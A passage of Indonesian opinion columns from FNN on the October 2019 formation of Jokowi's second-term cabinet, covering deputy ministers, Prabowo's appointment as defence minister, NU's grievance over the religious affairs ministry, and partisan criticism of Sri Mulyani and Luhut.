Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Kabinet Indonesia Maju mendapat respon positif banyak kalangan. Pasar saham pun membiru. Nilai rupiah sempat sedikit menguat. Pentolan partai Koalisi Indonesia Kerja atau KIK sudah senyum-senyum. Puas. Tim sukses bertajuk Relawan Pro Jokowi atau Projo yang pada awalnya sewot dan sempat mau bubaran akhirnya lega. Sang Ketum, Budi Arie Setiadi, dapat jatah wakil menteri. Lumayan. Para “Cebong” ini sudah bisa menerima kenyataan Prabowo Subianto bergabung dengan koalisi Jokowi-Ma'ruf Amin. "Ya sudah slow-slow lah, udah mulai ada cinta, cinta sedikit. Gitu ya," kata Budi Arie Setiadi, Jumat (25/10). Ya, pada hari itu Presiden Joko Widodo (Jokowi) dan Wakil Presiden Ma'ruf Amin resmi melantik 12 wakil menteri dalam Kabinet Indonesia Bersatu. Para wakil menteri itu lima orang dari partai politik dan anggota tim sukses. Lainnya, kaum profesional. Jokowi menilai 12 wakil menteri ini akan mampu memberikan dukungan kepada tugas-tugas menteri. “Profilnya sangat bagus dalam rangka memperkuat kabinet indonesia maju,” katanya. Wakil menteri itu diberikan untuk 11 kementerian yang ada di Kabinet Indonesia Maju. Berbeda dari yang lainnya, Kementerian BUMN yang dipimpin Erick Thohir mendapat dua wakil menteri. Mereka adalah Kartika Wirjoatmodjo dan Budi Gunadi Sadikin. Keduanya diambil dari pimpinan Badan Usaha Milik Negara. Kartika adalah Direktur Bank Mandiri, sedangkan Budi adalah Direktur Utama Inalum. Menteri Pertahanan, Prabowo Subianto mendapat tandem Wahyu Sakti Trenggono. Sebelumnya Wahyu adalah Bendahara Tim Kampanye Nasional. Menteri Agama yang kontroversial, Fachrul Razi dipasangkan dengan Zainut Tauhid Sa'adi. Dia adalah Wakil Ketua Majelis Ulama Indonesia (MUI) yang juga kader PPP. Soal ilmu agama, Zainut jelas lebih paten ketimbang Fachrul. Dengan bergabungnya Zainut Tauhid, maka PPP mendapat jatah dua kursi di kabinet Jokowi Ma'ruf. Sebelumnya yang menjadi perwakilan PPP hanya Menteri PPN/Kepala Bappenas, Suharso Monoarfa. Perindo mengirim Angela Tanoesoedibjo, puteri Ketua Umum Perindo, Hari Tanoesoedibjo, yang oleh Presiden Jokowi diberi jatah sebagai Wakil Menteri Pariwisata dan Ekonomi Kreatif. Sedangkan kader Partai Solidaritas Indonesia atau PSI, Surya Tjandra, mendapat jatah Wakil Menteri Agraria dan Tata Ruang/Wakil Kepala BPN. Politisi Golkar, Jerry Sambuaga, menjabat Wakil Menteri Perdagangan. Kader PDIP Wempi Wetipo menjabat sebagai Wakil Menteri Pekerjaan Umum dan Perumahan Rakyat (PUPR). Bergabungnya Wempi membuat porsi PDIP di kabinet Jokowi-Maruf menjadi tujuh orang. Sebelumnya ada tiga politikus PDIP lawas yakni Tjahjo Kumolo, Yasonna Laoly, dan Pramono Anung menjadi wajah lama yang kembali menghuni kabinet Jokowi-Ma’ruf Amin. Selain itu Menteri Sosial Juliari Batubara dan Menteri PPPA, I Gusti Ayu Bintang Darmawati. Selain itu simpatisan PDIP yakni Menteri PUPR Basuki Hadimuljono. Selanjutnya, perwakilan Golkar di kabinet Jokowi menjadi empat. Sebelumnya, ada Ketua Umum Golkar Airlangga Hartarto yang telah dilantik sebagai Menteri Koordinator bidang Perekonomian. Kemudian Agus Gumiwang Kartasasmita yang mengisi pos Menteri Perindustrian dan Zainudin Amali sebagai Menteri Pemuda & Olahraga. Di Wamen ada Wakil Menteri Perdagangan, Jerry Sambuaga. Sejarah Istilah wakil menteri pertama kali digunakan pada Kabinet Presidensial, kabinet pemerintahan pertama Indonesia. Kala itu, Presiden Sukarno mengangkat 2 orang sebagai wakil menteri, yaitu Wakil Menteri Dalam Negeri Harmani dan Wakil Menteri Penerangan Ali Sastroamidjojo. Setelah itu, wakil menteri hanya ada pada Kabinet Sjahrir I, Sjahrir III, dan Kerja III. Pada kabinet-kabinet lainnya, beberapa kali juga terdapat jabatan "menteri muda" yang dari beberapa sisi memiliki kemiripan dengan wakil menteri. Pada era Orde Baru wakil menteri ditiadakan. Namun di bawah Presiden Soeharto itu ada menteri muda. Bedanya, menteri muda adalah anggota kabinet sedangkan wakil menteri bukan anggota kabinet. Pada era pemerintahan Presiden Susilo Bambang Yudhoyono, jabatan wakil menteri kembali diadakan. Pengangkatannya didasarkan pada pasal 10 Undang-Undang Nomor 39 Tahun 2008 tentang Kementerian Negara yang memperbolehkan presiden untuk mengangkat wakil menteri pada kementerian tertentu yang memiliki beban tugas lebih. Penjelasan pasal tersebut menyebutkan bahwa wakil menteri merupakan pejabat karier dan bukan merupakan anggota kabinet, berbeda dengan menterinya. Dalam aturan lebih lanjut dalam Peraturan Presiden Nomor 47 Tahun 2009, disebutkan pula bahwa yang dimaksud pejabat karier adalah pegawai negeri yang telah menduduki jabatan struktural eselon 1A. Pada tanggal 5 Juni 2012, Mahkamah Konstitusi memutuskan bahwa penjelasan pasal 10 UU tersebut bertentangan dengan UUD 1945 sehingga dinyatakan tidak berkekuatan hukum tetap. Presiden kemudian mengeluarkan Peraturan Presiden Nomor 60 Tahun 2012 tentang Wakil Menteri. Dalam peraturan baru ini, wakil menteri dapat berasal dari pegawai negeri atau bukan pegawai negeri. Wakil menteri pertama yang diangkat Presiden SBY adalah Wakil Menteri Luar Negeri Triyono Wibowo yang mendampingi Menteri Luar Negeri Hassan Wirajuda pada Kabinet Indonesia Bersatu. Pada Kabinet Indonesia Bersatu II, presiden mengangkat lebih banyak lagi wakil menteri. Asal sesuai dengan perundang-undangan, tidak masalah presiden mengangkat wakil menteri. Sebagaimana diatur pasal 10 Undang-Undang No 39 Tahun 2018 tentang Kementrian Negara, presiden dimungkinkan mengangkat wakil menteri. Pasal 10 UU 39/2018 menyebutkan, dalam hal terdapat beban kerja yang membutuhkan penanganan secara khusus, Presiden dapat mengangkat wakil Menteri pada kementerian tertentu. UU ini pula yang memungkinan presiden melakukan bagi-bagi kursi bagi para pendukungnya. End

Membenturkan, dan Adu Domba Menhan dengan Presiden

Oleh Hersubeno Arief Jakarta, FNN - Sejak Kamis (24/10) video pendek penyambutan Prabowo Subianto sebagai Menteri Pertahanan yang baru, beredar di media sosial. Para pendukung Prabowo sangat bersemangat menyebarkannya, dengan ditambahi narasi: Menhan rasa Presiden! Ada juga yang menambahi narasinya dengan kata-kata yang lebih bombastis. “Baru sehari jadi Menhan, negara tetangga sudah mengekeret. Apalagi kalau jadi presiden!” Benar dalam video tersebut Prabowo tampak dielu-elukan oleh pegawai Dephan. Mereka berjejal di jalan yang akan dilalui Prabowo, sambil membawa bendera merah putih dalam ukuran kecil. Konon kabarnya, belum ada seorang Menhan baru yang disambut heboh, gegap gempita seperti Prabowo. Fenomena ini menyadarkan kita pada satu realitas, bangsa ini masih terjebak pada kultus individu, bukan pada value. Emosional, bukan rasional. Value, nilai, panduannya sangat jelas. Benar, salah. Kemaslahatan umat, kemaslahatan rakyat Vs kemaslahatan pribadi dan kelompok. Pada kultus individu, yang benar bisa salah, dan yang salah bisa menjadi benar. Ukurannya menguntungkan kita secara pribadi, atau kelompok. Bila tidak, maka itu salah. Semuanya hanya didasari oleh sikap emosional, bukan penilaian yang rasional. Nilai baik dan benar, tidak akan pernah berubah. Sunatulloh. Hukum alam. Sementara manusia setiap saat bisa berubah. Hal itu menjelaskan mengapa nuansa pilpres lalu seperti sebuah perang. Dua geng, dua gerombolan besar, saling menghabisi satu dengan yang lainnya. Tidak boleh satu orang pun yang mengkritik, apalagi sampai memberi penilaian jelek pada jagoannya. Langsung hajar habis….. Baik Jokowi maupun Prabowo di mata para true believers, para pengikut yang taklid buta, adalah manusia sempurna. Tak ada cacatnya sama sekali. Jangan-jangan malah dianggap sebagai orang suci. Itulah bahayanya kultus individu. Membuat orang menjadi rabun dekat. Tak pernah bisa melihat kesalahan tokoh pujaannya. Sebaliknya dengan mudah menemukan kesalahan siapapun yang menjadi lawannya. Masalah nasional dilokalisir menjadi kepentingan personal. Entah disadari atau tidak, sikap para pendukung Prabowo ini sesungguhnya akan merugikan orang yang mereka puja. Sementara dalam jangka panjang akan merugikan kepentingan nasional. Merugikan kita sebagai sebuah bangsa dan negara. Akhiri Dikotomi Seharusnya ketika Prabowo memutuskan tawaran untuk bergabung dalam kabinet Jokowi, dikotomi, apalagi kontestasi diantara pendukung, harus berakhir. Sebagai menteri, Prabowo adalah pembantu Presiden Jokowi. Tak peduli jabatannya sebagai Menhan, atau menteri apapun. Terimalah realitas itu dengan lapang dada. Tak perlu merasa malu dan menutupinya dengan eforia semu. Prabowo saja bisa menerima. Bisa lapang dada. Anda kok tidak? Tak perlu lagi ada glorifikasi melebih-lebihkan posisi dan peran Prabowo secara berlebihan. Tak perlu lagi terus diwacanakan bahwa sebagai Menhan, Prabowo adalah menteri utama. Salah satu triumvirat. Manakala terjadi kekosongan kekuasaan presiden dan wapres. Lebih ngeri lagi muncul wacana, pada waktunya Prabowo akan menggantikan Jokowi. Masuk kabinet Adalah strategi. Bergerilya membangun kekuatan dari dalam. Tak perlu lagi terus dihembus-hembuskan bahwa dengan Prabowo menjadi Menhan, kekuatan militer Indonesia akan ditakuti. Ini urusan negara kok. Bukan urusan pribadi. Ketika memberi pengarahan pada sidang kabinet perdana, Presiden Jokowi sudah jelas menyatakan “tak ada visi-misi menteri. Yang ada visi-misi presiden dan wakil presiden.” Prabowo sendiri sejak awal juga menyadari posisinya. Tak lama setelah menghadap Jokowi di istana, dia mengaku sudah mendapat arahan apa tugas dan program kerja yang harus dijalankan. "Saya akan bekerja sekeras mungkin mencapai sasaran. Dan harapan yang ditentukan. Saya kira demikian," tegas Prabowo. Sebagai pemberi mandat, Jokowi akan mengevaluasi kinerja Prabowo. Bila tidak perform, menyimpang, apalagi menunjukkan tanda-tanda melawan perintah, sub ordinasi, dia bisa dicopot. Begitu aturan mainnya. Apa boleh buat, suka tidak suka, status menteri adalah P-E-M-B-A-N-T-U presiden. Setiap saat bisa dipindahkan, diganti dan diberhentikan. Glorifikasi, memuja secara berlebihan, hanya akan membuat posisi Prabowo menjadi kikuk dan tidak nyaman. Dipastikan para pendukung Jokowi — yang sesungguhnya juga tidak nyaman dengan kehadiran Prabowo— akan bereaksi balik. Kita akan kembali terjebak pada perang buzzer seperti pada pilpres lalu. Sudahlah akhiri semuanya. Baik Jokowi maupun Prabowo hanya manusia bisa. Bukan Satrio Piningit, apalagi manusia setengah dewa. Mereka punya kelebihan dan juga kekurangan. Tidak perlu memuja secara berlebihan. Tak perlu pula benci secara berlebihan. Biarkan mereka bekerja dengan tenang. Permasalahan bangsa ini terlalu banyak. Terlalu berat. Biarkan Jokowi memenuhi janji-janji kampanyenya dan Prabowo membantu mewujudkannya. Jangan benturkan Prabowo dengan Jokowi. Mereka kini berada dalam satu tim. Satu perahu yang sama. Tugas kita yang berada di luar pemerintahan, terus mengawasi, mengkritik, mengingatkan manakala mereka menyimpang. Pujian yang berlebihan seperti racun yang akan membunuh akal sehat. Sementara kritik, seperti obat yang pahit, namun menyehatkan. Jangan pula dimusuhi. Apalagi dikriminalisasi. End

Jokowi Ingkari Nahdliyin?

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Pengangkatan Jend. TNI Purn. Fachrur Razi sebagai Menteri Agama menggantikan posisi Lukman Hakim Saifuddin. Lukman adalah kader Nahdlatul Ulama (NU) yang mewakili PPP. Lukman tidak terpilih lagi karena diduga terlibat korupsi. Yaitu korupsi yang melibatkan mantan Ketum PPP Romuharmuzy yang kini disidangkan di Pengadilan Tipikor Jakarta. Politisi yang akrab dipanggil Romy ini juga kader NU. Mungkin inilah masalahnya mengapa posisi dan jatah NU “hilang”. Sementara dalam tradisi, Menag biasanya dijabat oleh perwakilan dari organisasi keagamaan seperti NU. Lepasnya kader NU dari posisi Menag yang selama ini menjadi jatah untuk NU telah membuat NU kecewa, terutama para kiai di daerah. Apalagi, Menag baru ini disebut-sebut adalah warga Muhammadiyah. Terkait penunjukan Fachrul Razi, Ketua Pengurus Harian Tanfidziyah PBNU KH Robikin Emhas mengatakan, pihaknya menerima protes dari banyak kiai dari daerah. Menurutnya, banyak kiai di berbagai daerah merasa kecewa dengan keputusan Presiden Joko Widodo terkait jabatan Menag. “Saya dan pengurus lainnya banyak mendapat pertanyaan terkait Menag,” kata Robikin dalam keterangan tertulis. Seperti dilansir Kompas.com, Rabu (23/10/2019, 14:47 WIB), “Selain pertanyaan, banyak kiai dari berbagai daerah yang menyatakan kekecewaannya dengan nada protes,” ungkap Robikin. Menurutnya, para kiai paham bahwa Kemenag harus berada di garda depan dalam mengatasi radikalisme berbasis agama. Namun sayangnya, pemilihan pemimpin Kemenag tak sesuai dengan yang diharapkan dalam membentengi NKRI dari ajaran radikalisme. Para kiai sudah lama merisaukan fenomena terjadinya pendangkalan pemahaman agama yang ditandai merebaknya sikap intoleran. Bahkan, juga sikap ekstrem dengan mengatasnamakan agama. Semua di luar kelompoknya kafir dan halal darahnya. “Teror adalah di antara ujung pemahaman keagamaan yang keliru seperti ini,” kata Robikin. Karena dampak dari radikalisme itu sangat membahayakan, maka secara kelembagaan, NU sudah mengantisipasi dan mengingatkannya jauh-jauh hari. “Bahkan NU menyatakan Indonesia sudah kategori darurat radikalisme, di samping darurat narkoba dan LGBT,” tandas Robikin. Boleh jadi, dipilihnya Fachrur Razi sebagai Menag ini juga terkait dengan apa yang disebut sebagai “radikalisme” itu. Seperti kata Presiden Jokowi saat mengumumkan namanya, “Beliau (ditunjuk karena) urusan yang terkait dengan radikalisme, ekonomi umat, dan industri halal,” ungkapnya. Rasa kecewa juga disampaikan Pengurus Rabithah Ma’ahid Islamiyah (RMI) PBNU Ridwan Darmawan. Dia mengaku heran tak satu pun kader NU yang dilirik Presiden Jokowi, meski sebelumnya muncul kabar Jokowi bakal menjadikan kader NU sebagai Menag. “Kami merasa kecewa dengan komposisi (susunan menteri) yang beredar hari ini, apalagi kita menurut informasi yang beredar Menteri Agama bukan dari NU,” ujar Ridwa dalam keterangan tertulis yang diterima awak media Rabu (23/10/2019). Ridwan menyebut, seharusnya Jokowi menghargai kontribusi warga NU saat ajang pemilihan presiden (Pilpres) 2019 lalu. Pasalnya, warga dan para Masyayikh NU berperan besar dalam memenangkan pasangan Joko Widodo – Ma’ruf Amin. Menurut Ridwan, seharusnya Jokowi berkomitmen memberikan posisi Menag kepada kader NU. Apalagi, banyak kader NU yang pantas menjabat Menag, baik yang menjadi pengurus NU maupun yang berada di berbagai partai politik. Ridwan pun menyayangkan sikap Jokowi yang tidak menghargai “keringat” yang telah dikeluarkan warga nahdliyin. Seharusnya, Jokowi melihat siapa yang turut membantunya menjadi presiden untuk kedua kalinya. “Di NU sangat banyak pengurus dan tokoh yang berkualitas untuk mengisi pos Menag. Pak Jokowi bebas memilih, asal kader NU dan dekat dengan ulama, jika tidak diberikan ke NU saya yakin Presiden Jokowi bisa kualat,” tegas Ridwan. Bagi nahdliyyin, katanya, Menag dari kalangan NU adalah harga mati. “Jika tidak, ditunda saja pelantikan menterinya,” tegas Ridwan seperti dikutip Gelora.co, Rabu (23/10/2019). Ucapan Ridwan ini disampaikan sebelum pelantikan. Ketum DPP PKB Muhaimin Iskandar sendiri sebagai kader NU sebelumnya berharap dapat jatah 6 orang menteri, tapi ternyata cuma memperoleh 3 kursi. Menko Polhukam Mahfud MD, Menaker Ida Fauziah, dan Mendes PDTT Abdul Halim Iskandar. “Dikadali” Jokowi? Menurut Prof. Sumanto Al Qurtuby, Kabinet Indonesia Maju yang telah diumumkan Presiden Jokowi, Selasa (23/10/2019), kali ini diisi atau didominasi oleh kalangan politisi, pengusaha, praktisi, dan tentara/polisi. Yang menarik, kabinet sekarang tidak ada yang dianggap sebagai “representasi NU” atau kalangan santri/pesantren. Ida Fauziyah dan Abdul Halim Iskandar dianggap “representasi” Muhaimin Iskandar (atau PKB), bukan NU. Oleh kalangan struktural NU, Mahfud sudah lama dianggap “bukan NU” atau “tidak cukup NU” atau “tidak memiliki komitmen terhadap NU”. Yang menarik adalah posisi Menag yang selama ini hampir dipastikan dipegang oleh “kader” NU tapi kini jatuh ke tangan seorang mantan jenderal yang, maaf, tidak jelas wawasan dan keilmuan keagamaannya hingga beredar meme di lingkungan NU: “Dibutuhkan pembimbing agama untuk Menteri Agama”. Fazhrul Razi dikenal sebagai “ahli strategi militer”. Mau ngapain di Kemenag? Mengatur strategi perang melawan “radikalisme Islam”? Menurut Sumanto Al Qurtuby, sarang kelompok Islamis radikal bukan di Kemenag, tapi di Diknas, BUMN, Kominfo, Kemenpan, atau mungkin Kemenhan. Kemenag isinya para santri yang justru selama ini berperang melaman kelompok “Islam radikal”. Sangat disayangkan kalau NU diabaikan alias “dicuekin” oleh Jokowi, Mega dan “lingkaran dalam” mereka. Padahal NU-lah yang selama ini menjadi “bamper,” “kopral” dan pejuang melawan barisan kadrun dan mugrun. NU yang sering memobilisasi massa menghadang mereka. NU juga yang sering menggelar istigatsah kubro besar-besaran membela Jokowi. NU juga yang “perang dalil” dan “perang pemikiran” melawan kelompok idiologis Islamis seperti HTI dan lainnya. Kenapa NU? Karena NU yang memiliki massa besar yang bisa menandingi mereka. Karena hanya para kader NU yang bisa “perang dalil” dan “perang kitab” dengan mereka. Yang lain nggak ada. Muhammadiyah sekalipun karena mereka nggak bisa ndalil dan mbaca Kitab Kuning. Bahkan banyak kader Muhammadiyah yang sudah “bermimikri” menjadi kadrun atau setengah kadrun. Jika Muhammadiyah saja nggak bisa ndalil apalagi “banteng”, pengusaha, tentara, politisi, dan polisi. Semoga NU tak kecewa dan tetap ikhlas dengan susunan kabinet ini, meskipun sudah habis-habisan membela Jokowi, meski sepertinya hanya dijadikan pendorong “truk mogok”, dan kalau truk sudah jalan, mereka ditinggal atau sebagai “tangga” dan “pion” saja. Bahkan, tulis Sumanto Al Qurtuby, dijadikannya Kiai Ma’ruf sebagai cawapres pun dianggap sebagai bagian dari “sasaran antara”, “tangga” dan “pion” ini. Semoga saja NU tetap eksis membela Tanah Air, meskipun tak mendapat “jatah” menteri. “Saya gak bisa membayangkan jika kader-kader NU: para ulama dan kiai pesantren ngambek dan mogok tak mau lagi “berperang” melawan kelompok Islamis radikal,” tegasnya. Apakah Wapres Ma’ruf Amin dinilai sudah cukup “mewakili” NU? Bukankah posisi Wapres itu setara dengan total jumlah menteri? Sedangkan posisi Presiden itu setara dengan Wapres plus para menteri? Sehingga, dengan kata lain, sudah seharusnya NU tak mempermasalahkan “tidak ada” menterinya dari NU. Lain halnya dengan Muhammadiyah yang hanya ada 5 kadernya menjadi menteri di Kabinet Indonesia Maju. Yaitu: Muhajir Effendi, Siti Nurbaya, Juliari Batubara, Nadiem Makarim, dan Fachrur Razi. Perlu dicatat, bahwa tidak ada satu pun kader PAN yang duduk di Kabinet Jokowi II tersebut! ***

Prabowo Saja Begini, Bagaimana Mau Memercayai yang Lain?

By Asyari Usman (Wartawan Senior) Jakarta, FNN - Prabowo Subianto (PS) adalah politisi dan negarawan yang integritasnya mendekati kesempuraan. Siang-malam dia memikirkan keutuhan NKRI. Kabarnya, tidak ada satu pun lawan bicara Prabowo yang bisa mengelak dari topik kebangsaan dan keadilan. Begitulah hebatnya kualitas Prabowo. Tidak terbantahkan. Kawan dan lawan politiknya paham itu. Dia tak pernah terdengar terlibat atau menyerempet korupsi. Bahkan apa yang ada pada dirinya selalu disumbangkan untuk kenyamanan orang lain, khususnya orang-orang yang berada di dalam satu lingkaran kerja dengannya. Prabowo selalu memikirkan orang lain. Cerita-cerita tentang ini tak ubahnya seperti derajat hadits shohih. Artinya, kisah-kisah yang bukan karangan belaka. Bukan omong kosong. Dia selalu menduhulukan kepentingan negara dan bangsa di atas keinginan pribadinya. Ketika dia berorasi tentang keadilan bagi seluruh rakyat, Prabowo membuktikannya dalam banyak pergaulan sosial atau lingkungan organisatoris. Tak berlebihan, bagi saya, kalau mau dikatakan bahwa Prabowo adalah “malaikat politik” Indonesia. Dia berintegritas. Bersih. Baik budi. Mendahulukan orang lain, dlsb. Sekarang, “malaikat politik” itu telah melepaskan predikat yang menggambarkan kemuliaan dan keksatrian dirinya. Dia tak sanggup sendirian menjadi “malaikat politik”. Prabowo mungkin merasa lebih mulia jika dia masuk ke dalam koalisi para “politisi trisula”. Padahal, selama ini pekikan-pekikan “jenderal lapangan” itu tidak pernah menunjukkan kemungkinan dia akan melepas predikat itu. Tapi, itulah yang dia lakukan. Dia tinggalkan para pendukungnya. Dengan alasan, ingin mendobrak dari dalam. Dengan jabatan Menteri Pertahanan, dia akan menjabarkan strategi besar (grand strategy) untuk melumpukan rencana jahat. Yang dijalankan oleh orang-orang yang sering dia sebut sebagai “pengkhianat”. Nah, seperti apa kira-kira kesimpulan Anda tentang langkah Pak PS itu? Sambil menunggu jawaban Anda, saya berpendapat bahwa situasi di Indonesia ini sudah sangat parah. Sangat hina. Sudah hancur-lebur. Saking rusaknya, Prabowo yang “putih-bersih” itu pun bisa menjadi begini. Bagaimana mungkin Anda bisa mempercayai para politisi lain? Poliltisi yang setulus dan sebaik Prabowo saja, bisa dengan enteng meninggalkan umat yang sangat percaya kepada dia. Bagaimana mungkin Anda bisa percaya kepada Jokowi, Megawati, Surya Paloh, SBY, Muhaimin Iskandar, Jusuf Kalla, Bambang Soesatyo, Airlangga Hartarto, Oesman Sapto Odang, Yusril Ihza Mahendra, Suharso Monoarfa, dlsb? Tidak mungkin! Tidak mungkin bisa dipercaya. Semuanya tak bisa dipercaya selain Prabowo. Itu pun Prabowo sebelum menjadi menteri Jokowi. Sekarang, Prabowo yang tulus dan jujur itu pun ikut lebur membubur. Wallahu a’lam. [] 24 Oktober 2019

Sri dan Luhut Jadi Menteri Lagi, Bagus Itu

Oleh Edy Mulyadi (Wartawan Senior) Jakarta, FNN - Presiden Joko Widodo pagi tadi sudah mengumumkan dan melantik para menteri yang jadi pembantunya. Komentar dan respon pun berhamburan. Ada yang pro, juga kontra. Biasa. Seperti telah diduga sebelumnya, masuknya Prabowo Subianto dalam jajaran pembantu Joko menyita porsi lumayan dominan dalam parade komentar. Yang pro bilang, Prabowo masuk untuk memperbaiki dari dalam, untuk meningkatkan kualitas pertahanan dan kedaulatan NKRI dari rongrongan musuh eksternal, dan seterusnya, dan sebagainya. Sedangkan buat yang kontra, aneka respon tersebut bermuara pada tamsil macan yang sudah benar-benar menjadi kucing. Meong, meoong, meoooong.... Tulisan kali ini sama sekali tak hendak menyinggung perkara Prabowo. Saya sama sekali tidak tertarik. Komposisi tim ekonomi Kabinet Joko jilid dua justru lebih menarik. Posisi Menteri Keuangan yang kembali dijabat Sri Mulyani Indrawati, misalnya. Tak kurang menariknya adalah, Luhut Binsar Panjaitan, yang ternyata bukan saja tetap di posisinya sebagai Menko Kemaritiman. Dia bahkan dapat _job_ (baca: wewenang) tambahan, yakni investasi. Nomenklatur resminya, Menko Maritim dan Investasi. Gaya sekaligus powerful! Banyak pihak, khususnya ekonom garis lurus yang jauh-jauh hari sudah mengingatkan Joko, agar tidak memakai dua orang ini. Sebagai Menkeu, Sri Mulyani terbukti tidak mampu membuat ekonomi Indonesia meninggalkan angka ‘kutukan’ 5%. Selain itu, pejuang neolib di garda depan ini, juga selalu menerapkan prinsip investor first dalam penyusunan APBN dan kebijkan fiskalnya. Buat investor, khususnya asing, dia rajin mengobral berbagai keringanan bahkan pembebasan pajak. Sebaliknya, untuk UMKM, Sri justru hobi menggebuk mereka dengan berbagai pungutan. Prinsip mengutamakan investor yang diterapkan Sri bukanlah hal ganjil. Memang begitu karakteristik mazhab neolib. Siapa pun penganutnya, pasti akan mematuhinya. Apalagi bila yang bersangkutan punya posisi superpenting semisal menteri keuangan, tentu prinsip ini kian menemukan wujudnya. Ketatkan Anggaran Buktinya, ya Sri ini. Saat didapuk menjadi Menkeu di Kabinet Kerja tiga tahun silam, dia langsung melakukan pemangkas sejumlah pos anggaran. Dalihnya, untuk mengamankan APBN agar defisit tidak menganga lebar. Tidak tanggung-tanggung, perempuan ini memotong anggaran hingga Rp137 triliun di APBN. Para ekonom menyebut ini sebagai kebijakan pengetatan alias austerity yang pertama. Pos angaran apa sajakah yang kena gunting tajam Sri? Dalam tempo empat periode sekaligus (kuartal IV 2016-III 2017) pos Pemerintahan, Pertahanan, dan Jaminan Sosial Wajib menjadi korban. Khusus di kuartal II-2017, sektor pengeluaran pemerintah ini tumbuh negatif, yaitu -0,03%. Padahal, ketiga pos ini terbukti menjadi penyumbang yang cukup dominan dalam pertumbuhan ekonomi. Pertumbuhan tahunan dari sektor tersebut terjun bebas dari 7% pada 2016, menjadi hanya 2% setahun berikutnya. Akibatnya, kontribusi mereka terhadap pertumbuhan ekonomi keseluruhan juga turun dari 0,23% di tahun 2016 jadi cuma 0,07% pada 2017. Buat rakyat awam, tentu angka-angka tadi sangat asing. Namun dampaknya langsung mereka rasakan. Daya beli masyarakat anjlog dan mengurangi pembelian produk industri. Kalau sudah begini, tentu saja sektor industri pengolahan yang langsung berhubungan dengan daya beli masyarakat jadi lesu darah. Pertumbuhan industri pengolahan tembakau remuk-redam, dari 3,52% (2016) jadi -0,64% (2017). Begitu juga dengan tekstil dan pakaian tekstil (TPT) yang anjlok dari 8,7% (2016) ke 3,8% (2017). Hal serupa terjadi pada industri kulit, barang dari kulit dan alas kaki yang terjun dari 9,4% (2016) ke 2,2% (2017). Angka-angka bertabur merah tadi bermuara pada PDB yang menciut dari 5,17% pada 2016 menjadi 5,07% di tahun 2017. Sri dan jajarannya juga terbukti gagal memanfaatkan faktor menggeliatnya sektor konstruksi dan real estat sebagai pemacu pertumbuhan ekonomi. Kini, di kuartal II-2019, pertumbuhan ekonomi kembali mencetak posisi terendah dalam tiga tahun terakhir, 5,06%. Peneliti Pergerakan Kedaulatan Rakyat (PKR), Gede Sandra, mencatat sejumlah kegagalan Sri sebagai Menteri Keuangan. Rasio pajak Indonesia hanya 9%-10%, termasuk yang terendah di kawasan Asia dan Afrika. Terjadi deindustrialisasi yang tak terbendung. Industri baja yang pernah menjadi andalan dan kebanggaan nasional, terus berdarah-darah digempur baja impor dari Cina. Bahkan Batam yang digadang-gadang sebagai kawasan industri unggulan hanya mampu tumbuh 2%. Sri selalu mengklaim APBN disusun dengan sangat prudent hingga sangat stabil. Padahal faktanya, APBN kita lumayan rentan. Defisit transaksi berjalan sangat besar, US$8,4 miliar. Belum lagi data yang ada menunjukkan 50% lebih surat utang Pemerintah dimiliki asing. Sedikit saja asing berulah dan melepas obligasi Pemerintah, kita bisa dibuat jungkir-balik karenanya. Masih tentang surat utang negara (SUN), sebagai pejuang neolib yang gigih, Sri selalu memberi kupon/bunga yang kelewat tinggi. Angkanya berkisar 2-3% lebih tinggi ketimbang negara-negara yang credit rating-nya di bawah Indonesia. Kalau saja Sri mau bersikap profesional, Indonesia sudah selayaknya memperoleh bunga jauh lebih murah ketimbang Filipina dan Vietnam, misalnya. Sayangnya, jangankan lebih murah, berusaha dapat bunga pada harga yang sama dengan kedua negara itu pun dia tidak lakukan. Lalu, kalau saja dia mau menegosiasikan ulang, tentu sangat bermanfaat. Tidak usah banyak, cukup 1,5% bunganya berhasil diturunkan. Maka, hasilnya setiap tahun kita bisa menghemat anggaran sekitar Rp29 triliun. Jumlah ini bisa dimanfaatkan untuk menambal BPJS kesehatan yang compang-camping. Tapi, lagi-lagi hal itu tidak dia lakukan. Memang watak neolib selalu lebih mengutamakan kepentingan majikan asing ketimbang kesejahteraan rakyatnya sendiri. Kebiasaannya mengobral surat utang dengan bunga supertinggi inilah yang amat menyenangkan para investor. Ini pula yang menjelaskan mengapa mereka tidak segan-segan menghadiahi Sri dengan gelar sebagai Menkeu terbaik dunia. Bukan itu saja, tangan-tangan asing yang tak terlihat pula yang menyelamatkan Sri dari pusaran kasus Bank Century yang menghebohkan itu. Padahal, di dalam negeri prestasi dan kinerjanya justru membuat perekonomian mandeg dan beban rakyat kian berat saja. Pada titik ini, gelar Menkeu ‘terbalik’ justru jauh lebih pas baginya. Kembalinya Sri di posisi Menkeu sudah hampir pasti buah dari titipan (tekanan?) Bank Dunia dan IMF. Paling tidak, kita bisa membaca hal ini sebagai upaya kompromi sekaligus kompensasi yang diberikan Joko atas keberatan Amerika terhadap kian dominannya pengaruh Cina pada periode pertama kekuasaannya. Sebagai petugas yang baik, Sri tentu akan menjalankan kehendak majikan asingnya, IMF dan Bank Dunia. Guna memastikan prinsip investor first berjalan dengan baik, sangat mungkin dia akan lebih eksesif dalam mengetatkan anggaran sebagai babak lanjutan. Semua itu dimaksudkan agar APBN punya dana yang cukup untuk membayar pokok dan cicilan utang yang tiap tahun mencapai Rp680an triliun. Angka ini jauh lebih tinggi dibandingkan anggaran infrastruktur yang dibangga-banggakan, dan anggaran pendidikan sebagaimana diamanatkan Undang Udang yang minimal 20%. Seperti yang sudah-sudah, Sri juga tidak akan peduli kalau untuk itu dia harus memangkas anggaran sosial berupa subsidi bagi rakyat. Itulah yang menjelaskan mengapa harga BBM, listrik, gas dan berbagai kebutuhan dasar rakyat terus melonjak-lonjak. Makelar Cina Kini, kita lihat sosok menteri ekonomi yang ‘cukup fenomenal’ lainnya, Luhut Binsar Panjaitan. Sepak terjangnya selama menjadi menteri terkesan serampangan. Semua hal dia urus. Akibatnya, banyak warga net alas netizen menjulukinya sebagai Menteri ASU (Atasi Segala Urusan). Hobinya yang suka cawe-cawe di luar tugas pokok dan fungsi (Tupoksi)nya itu, membuat Faisal Basri Faisal menghujaninya dengan kritik. Kebijakan Luhut dinilai kerap tumpang-tindih dengan kementerian-kementerian yang tidak ada kaitannya dengan sektornya. Contohnya, Luhut bernafsu sibuk di mobil listrik. Padahal, harusnya, program itu jadi domain Kementerian Perindustrian di bawah Kementerian Koordinator Bidang Perekonomian. Luhut 